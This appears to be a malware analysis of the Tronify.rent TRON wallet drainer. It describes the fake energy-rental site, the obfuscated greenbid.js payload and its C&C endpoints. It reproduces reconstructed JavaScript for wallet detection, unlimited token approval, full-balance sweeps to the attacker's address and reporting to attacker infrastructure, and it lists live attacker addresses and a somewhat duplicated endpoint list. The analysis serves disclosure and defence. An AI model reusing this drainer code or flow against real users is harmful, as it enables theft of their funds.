π§ Technical Architecture
How the Tronify.rent Wallet Drainer Works
System Overview
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TRONIFY.RENT ATTACK STACK β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β USER BROWSER β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β tronify.rent (Frontend) β β
β β - Social engineering UI (Energy rental facade) β β
β β - "Connect Wallet" button β β
β β - Load greenbid.js from lending.fhogu.pw β β
β ββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββββββββββ β
β β β
β ββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββββββββ β
β β GREENBID.JS PAYLOAD (150KB, minified) β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β 1. WALLET DETECTION β β β
β β β - Detect: Trust Wallet, TronLink, OKX, TokenPocket, β β β
β β β Bitget, SafePal, WalletConnect (verified, 7 total) β β β
β β β - Query: window.tronLink, window.ethereum, etc β β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β 1b. GAS-FUNDING ("PRIMING") β new finding β β β
β β β - If USDT found but TRX < 30: attacker sends victim β β β
β β β ~15 TRX via /tron/funding/initiate, polls status β β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β 2. ASSET ENUMERATION β β β
β β β - Query connected wallet address β β β
β β β - Fetch TRC-20 token balances β β β
β β β - Enumerate native TRX balance β β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β 3. APPROVAL EXTRACTION β β β
β β β - Sign approval transactions via wallet β β β
β β β - Request user confirmation (appears normal) β β β
β β β - Grant spender unlimited token access β β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β 4. ASSET TRANSFER β β β
β β β - Transfer approved tokens to tronSweepAddress β β β
β β β - Sweep TRX balance to attacker address β β β
β β β - Reserve 2 TRX for next victim's gas β β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β 5. C&C COMMUNICATION β β β
β β β - Log wallet connection β β β
β β β - Report approvals & transfers β β β
β β β - Send victim metadata (IP, UA, timezone) β β β
β β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β ββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββββββββββ β
β β β
βββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββ
β TRON BLOCKCHAIN β
β βββββββββββββββββββββββ β
β β Token Contracts β β
β β (TRC-20) β β
β βββββββββββββββββββββββ β
β βββββββββββββββββββββββ β
β β TRX Native Transfersβ β
β βββββββββββββββββββββββ β
β βββββββββββββββββββββββ β
β β Attacker's Address β β
β β (tronSweepAddress) β β
β βββββββββββββββββββββββ β
βββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββ
β C&C INFRASTRUCTURE β
β lending.fhogu.pw/greenbidβ
β Backend API Endpoints β
β - /tron/config β
β - /tron/notify/* β
β - Victim Database β
βββββββββββββββββββββββββββββ
Component Analysis
1. Frontend Deception Layer (tronify.rent)
The website presents a professional energy rental service interface to establish trust:
Key Insight: The legitimacy signals are what make this attack effective. Users have no reason to suspect a Florida-registered business with a phone number.
2. Malicious Payload (greenbid.js)
The JavaScript payload is the core attack mechanism. Key characteristics:
File Details:
- Size: 150,274 bytes (minified)
- Format: JavaScript (obfuscated)
- Host: https://lending.fhogu.pw/greenbid.js?v=1
- Execution Context: Browser (full access to wallet APIs)
- Persistence: Session-based (reloads on page refresh)
3. Wallet Detection Engine
The payload uses runtime detection to identify available wallets. This is the real array, reconstructed in the original declaration order found in the live payload (verified 2026-09-20, not guessed):
// Reconstructed from the live greenbid.js wallet array (verified order & detectors)
const wallets = [
{ name: "Trust Wallet", detect: () => !!window.trustwallet || !!(window.ethereum?.isTrust) },
{ name: "TronLink", detect: () => !!window.tronLink },
{ name: "OKX Wallet", detect: () => !!window.okxwallet },
{ name: "TokenPocket", detect: () => !!window.tokenpocket || !!(window.ethereum?.isTokenPocket) },
{ name: "Bitget", detect: () => !!(window.ethereum?.isBitKeep) },
{ name: "SafePal", detect: () => !!window.safepalProvider || !!(window.ethereum?.isSafePal) },
{ name: "WalletConnect", detect: () => checkWalletConnect() } // proxied via /tron/walletconnect
];
const available = wallets.filter(w => w.detect());
const target = available[0]; // Use first available wallet
Correction: an earlier draft of this document listed "MetaMask" with detector window.ethereum?.isTrust. That detector actually belongs to Trust Wallet (its injected provider sets isTrust=true); MetaMask does not appear anywhere in the payload (0 matches on direct string search).
4. Asset Enumeration Process
Once wallet is connected, the drainer systematically discovers and catalogs all assets:
// Step 1: Get wallet address
const walletAddress = await getTronLinkAddress(); // e.g., "TAk...xyz"
// Step 2: Fetch TRC-20 token balances
const tokens = await fetch(`${apiEndpoint}/tokens?owner=${walletAddress}`)
.then(r => r.json());
// Returns: [{address, symbol, decimals, balance, usdValue}, ...]
// Step 3: Check existing approvals
for (const token of tokens) {
const allowance = await contract(token.address)
.allowance(walletAddress, tronSpender).call();
if (allowance >= token.balance) {
logEvent("drain", `${token.symbol}: already approved`);
}
}
// Step 4: Get TRX balance
const trxBalance = await tronWeb.trx.getBalance(walletAddress);
5. Approval Extraction Mechanism
The critical step where users unknowingly grant unlimited access:
// For each token below attack threshold
for (const token of tokens) {
if (token.balance >= minimumTargetValue) {
// Create approval transaction
const approveTx = contract(token.address).approve(
tronSpender, // attacker's contract address
maxUint256 // unlimited approval
);
// Sign transaction with user's wallet
const signedTx = await tronLink.request({
method: "tronSignTransaction",
params: [approveTx]
});
// User sees wallet notification:
// "CONFIRM: [Symbol] is asking for access to your [TOKEN_NAME]"
// User confirms (thinking this is normal for energy rental)
// Broadcast to blockchain
const txHash = await tronWeb.trx.sendRawTransaction(signedTx);
// Log to C&C
postEvent("/tron/approve/notify", {
token: token.address,
symbol: token.symbol,
owner: walletAddress,
spender: tronSpender,
balance: token.balance
});
}
}
6. Automated Transfer Execution
Once approvals are granted, the payload automatically transfers all assets:
// Phase 1: Transfer all TRC-20 tokens
for (const token of approvedTokens) {
const transfer = contract(token.address).transfer(
tronSweepAddress, // Attacker's address
token.balance // 100% of tokens
).send({
feeLimit: 100000000 // 100 TRX fee
});
logEvent("drain", `Transferring ${token.symbol}...`);
}
// Phase 2: Sweep TRX balance
const trxBalance = await tronWeb.trx.getBalance(walletAddress);
if (trxBalance > (tronSweepMinTrx * 1e6 + 2000000)) {
// Reserve 2 TRX (2,000,000 sun) for next victim
const sweepAmount = trxBalance - 2000000;
const sweepTx = await tronWeb.trx.sendTransaction(
tronSweepAddress,
sweepAmount
);
logEvent("drain", `TRX sweep result: ${JSON.stringify(sweepTx)}`);
// Notify C&C of successful sweep
postEvent("/tron/notify/sweep", {
from: walletAddress,
to: tronSweepAddress,
amount: (sweepAmount / 1e6).toFixed(6),
txHash: sweepTx.txid
});
}
7. C&C Communication Protocol
All activity is logged to the attacker's backend infrastructure. This is the full, verified list of 12 endpoints from the live payload (an earlier draft of this document found only 6):
Backend Endpoints:
1. /tron/config
- GET request to fetch attacker configuration
- Live response, fetched 2026-09-20: {
"tronSpender": "TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv",
"tronSweepAddress": "TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ",
"tronSweepMinTrx": 100,
"tronExchangeContract": "TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux"
}
- These are real, currently-live values (raw JSON preserved in evidence/cnc/tron_config.json)
but the attacker can rotate them at will β do not treat as permanent.
7. /tron/balances/{address}
- Attacker's own backend proxy for the victim's TRC-20 balances (not called directly
against TronGrid), letting the attacker log every wallet that gets scanned even if
it's never connected further.
8. /tron/notify/visit
- Fired on page load, before any wallet interaction β the attacker gets a visitor
count even for people who never click "Connect Wallet."
9. /tron/notify/tx-proposed
- Logs a transaction before it's signed, so the attacker has a record even if the
victim rejects it or the tx never confirms.
10. /tron/funding/initiate + /tron/funding/status/{address}
- New finding: if a victim has USDT but < 30 TRX, the attacker's backend sends
~15 TRX to the victim's own wallet to cover gas, then polls this endpoint until
that funding transaction confirms, before continuing the drain.
2. /tron/notify/wallet-connected
- POST wallet connection event
- Payload: {
visitorId: "uuid",
address: "TAk...",
walletName: "TronLink",
userAgent: "Mozilla/5.0...",
pageUrl: "https://tronify.rent",
timezone: "America/New_York"
}
3. /tron/approve/notify
- POST token approval transaction
- Payload: {
token: "TR7....", // Token contract address
symbol: "USDT",
owner: "TAk...",
spender: "T...", // Attacker's spender contract
balance: "1000000000", // Token balance being approved
txHash: "abc123..." // Transaction ID
}
4. /tron/notify/sweep
- POST TRX sweep transaction
- Payload: {
from: "TAk...",
to: "T...", // Attacker's address
amount: "5.5", // Amount of TRX stolen
txHash: "abc123..."
}
5. /tron/notify/approve-rejected
- POST when user rejects approval
- Logs rejection reason for retry logic
6. /tron/balances/{address}
- Attacker's own backend proxy for the victim's TRC-20 balances.
7. /tron/notify/visit
- Fired on page load, before any wallet interaction.
8. /tron/notify/tx-proposed
- Logs a transaction before it's signed, even if it's later rejected or never confirms.
9-10. /tron/funding/initiate + /tron/funding/status/{address}
- New finding: if a victim has USDT but < 30 TRX, the attacker's backend sends
~15 TRX to the victim's own wallet to cover gas, then polls funding/status until
that funding transaction confirms, before continuing the drain.
11. /tron/client-log
- Ships arbitrary client-side log messages to the backend β not just the tagged
"drain" events. Broader telemetry/exfiltration surface than previously documented.
12. /tron/walletconnect
- Proxies WalletConnect session establishment through the attacker's own backend
rather than directly to WalletConnect's relay.
Threat Model Analysis
Attack Surface
Why Token Approvals Are the Vulnerability
The TRON and Ethereum ecosystems use a two-stage token transfer pattern:
Stage 1: Approval (Allowance)
User signs a transaction that says: "Contract X is allowed to transfer up to Y tokens from my wallet on my behalf"
Stage 2: Transfer (Transferfrom)
Any address can call Contract X's transferFrom() to move the approved tokens
Why This Matters:
Once a user approves a contract for "unlimited" (uint256 max), that contract has permanent access to all that token type. The original owner can't block transfersβonly revoke the approval (which costs gas and requires knowing it happened).
Wallet Notification Ambiguity
When the payload requests token approvals, the wallet shows:
ββ TronLink Notification βββββββββββββββββββ
β β
β "USDT" is asking for access to your β
β USDT tokens β
β β
β [Reject] [Approve] β
β β
ββββββββββββββββββββββββββββββββββββββββββββ
Users see this as normal DeFi operation (they're on a legitimate-looking site).
They have no way to know that "USDT access" means "transfer ALL my USDT forever."
Configuration Stealing
The payload must obtain the attacker's wallet addresses from the C&C server. We queried this endpoint directly on 2026-09-20 and got a real, live response:
const config = await fetch("https://lending.fhogu.pw/tron/config")
.then(r => r.json());
// Actual live response (2026-09-20), preserved in evidence/cnc/tron_config.json:
// {
// "tronSpender": "TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv",
// "tronSweepAddress": "TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ",
// "tronSweepMinTrx": 100, // NOT 5 as an earlier draft assumed
// "tronExchangeContract": "TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux"
// }
if (!config.tronSpender) {
logEvent("drain", "no tron spender configured");
showError("Service not available");
return;
}
// Now begin exploitation with attacker's address loaded into memory for this session
// (still not persisted to disk anywhere in the payload β re-fetched fresh each visit,
// which is exactly why the attacker can rotate addresses without redeploying the file)
These specific addresses are a snapshot, not permanent β but as of this fetch they are demonstrably real and actively used: both addresses were created within 39 seconds of each other on 2026-07-23, and on-chain history shows them receiving stolen USDT as recently as the day before this report. See the IoCs document and evidence/onchain/ for the full on-chain analysis.
Obfuscation & Anti-Analysis
The greenbid.js file uses several obfuscation techniques:
- Minification: All whitespace and comments removed, variables renamed to single letters
- Packed Functions: Strings packed into arrays, decoded at runtime
- Base64 Encoding: Sensitive strings (URLs, function names) base64-encoded
- Delayed Execution: Attack only triggers after wallet connection succeeds
- Error Suppression: try/catch blocks hide failures (user sees generic errors)
Operational Security (OPSEC)
The attackers use several techniques to avoid detection:
Scalability Factors
The attack is designed to operate at scale:
- Stateless Design: No per-victim state needed on server side (config is same for all)
- Parallel Execution: Multiple victims can be drained simultaneously
- Low Overhead: Backend only logs events; doesn't execute transfers (blockchain does that)
- Campaign Tracking: Visitor IDs allow attacker to measure campaign effectiveness
- Configuration Rotation: Attacker can change destination addresses via /tron/config endpoint